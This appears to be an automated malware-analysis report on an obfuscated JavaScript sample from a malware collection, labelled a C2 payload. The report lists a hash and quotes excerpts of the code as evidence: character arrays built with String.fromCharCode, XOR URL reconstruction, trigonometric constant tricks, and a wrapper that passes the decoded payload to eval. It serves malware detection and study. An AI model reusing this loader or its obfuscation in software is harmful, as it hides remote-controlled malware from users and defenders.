Suspicious ^80% javascript-malware-collection Download

20151217_3eea452bbe88587326a2fc2aa94d6f6a.js

Heavily obfuscated C2 payload

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-256f94f652669b184b6ac654f01ab324b11c35992c551a4ab353e0020354e1088a1

Evidence

Builds characters with String.fromCharCode line 2

2:158… 'H','K','#','Q','N','h','D','Q','2','?','"','*',' ','7','y','D',String.fromCharCode(10),'?','&','O','9','w','W','{','_','+','9','U','{','(','p',String.fromCharCode(13),'F','d',']','4',']','*','{','q','`','n',')' …

XOR URL reconstruction call line 2

2:1846… 'D','O','K',';','Y','q','Z','M','<','e','Z','[','#','(','[','O',String.fromCharCode(92),'?','B',']','%','q',']','?','e',',','`','^','i','?','q','<','5','T','_','U','O','Y','`','X','J','a','"',')','u','L','b',' ','d','f','O','>','{','c','<','&',')','.','W','n …

Calls JavaScript toString conversion method lines 4–7

4:44… AJjgWH){dGKL=LfPszKfZZPBidhOGm(WaKkpmqNGJP,ugyDzWYIAuRTy);dKhjl=dGKL.toString(vwAJjgWH);return dKhjl;}
5function EaXatAVJQAHkAer(RQdUjBTwSncjiOHWq,JcISOxrkrPLpgeiQIkhmtsaEoiWmUBjrIS,PiTpPFAHsdJsxnHlUmIRLvKzifFfJYtHESR){eval(RQdUjBTwSncjiOHWq);}
6function KqEfrySUNNWMlRpXESIuviTzQdnIigjDaFUKezVHRnNsEJdfExhFWY(HEemjOojTuHiY,TPlzaMCkHiKZYZ){ return zZSvpqM[EaqJmouY[ZMKon(HEemjOojTuHiY[TPlzaMCkHiKZYZ],(14860+932)/564,(1415+375)/179)]];}
7function aSvQtcA(mZbnhHobCSzizNiAUkvFaYAMbXrLJnKpQfbn) {return !KajMfpfxwaZ(AbSaLjRxbaFMkDx(mZbnhHobCSzizNiAUkvFaYAMb …

Dense indexed short-token grid lines 12–13

12:33… mvvUyyS,hkSPAZazMDc) {sNHFZaEdINBDLA[wtWqjpmvvUyyS]=hkSPAZazMDc;}
13var o = new Array();o[0]=[];o[0][0]='d';o[0][1]='a';o[0][2]='d';o[0][3]='a';o[0][4]='46';o[0][5]='3d';o[0][6]='42';o[0][7]='14';o[0][8]='2h';o[0][9]='14';o[0][10]='25';o[0][11]='14';o[0][12]='16';o[0][13]='47';o[0][14]='3k';o[0][15]='3d';o[0][16]='44';o[0][17]='3g';o[0][18]='3l';o[0][19]='3g';o[0][20]='49';o[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],o[4],o[5]];
20var RCRzFsnYM=[];
21function tqcsRuZDDpBYIczri(VwWtF){dviLlrFmvpt= '';ngeuJLiprrP=Math.round((Math.pow(Math.sin(34), 2) + Math.pow(Math.cos(34), 2) - 1));while(true){if (ngeuJLiprrP >= (3020+772)/632){break;}RCRzFsnYM[ngeuJLiprrP]=Math.round((Math.pow(Math.sin(477), 2) + Math.pow(Math.cos(477), 2) - 1)); while(true) { if(RCRzFsnYM[ngeuJLiprrP] > VwWtF[ngeuJLiprrP].length-(65+667)/732) { break; } if (aSvQtcA(ZMKon(VwWtF[ngeuJLiprrP][RCRzFsnYM[ngeuJLiprrP]],(14943+345)/546,(8453+657)/911))) {dviLlrFmvpt += KqEfrySUNNWMlRpXESIuviTzQdnIigjDaFUKezVHRnNsEJdfExhFWY([VwWtF[ngeuJLiprrP][RCRzFsnYM[ngeuJLiprrP]]], Math.round((Math.pow(Math.sin(764), 2) + Math.pow(Math.cos(764), 2) - 1)));} RCRzFsnYM[ngeuJLiprrP]++;}ngeuJLiprrP++;} return dviLlrFmvpt}
22var FVyaHJjPcqfVZyIASUZoCinxVfdcGMgxX = 'pPBciVQdZOCRsrHZuHcoDzIpDEYUbxNMquKl';var YiaSVgMWbrLrvdCGqkhmfQzQiZtMZnLn = 'sraUpBlFHsseQwiwbujzskWAQlPgHtpzkGQX';EaXatAVJQAHkAer(tqcsRuZDDpBYIczri(VwWtF),FVyaHJjPcqfVZyIASUZoCinxVfdcGMgxX,YiaSVgMWbrLrvdCGqkhmfQzQiZtMZnLn);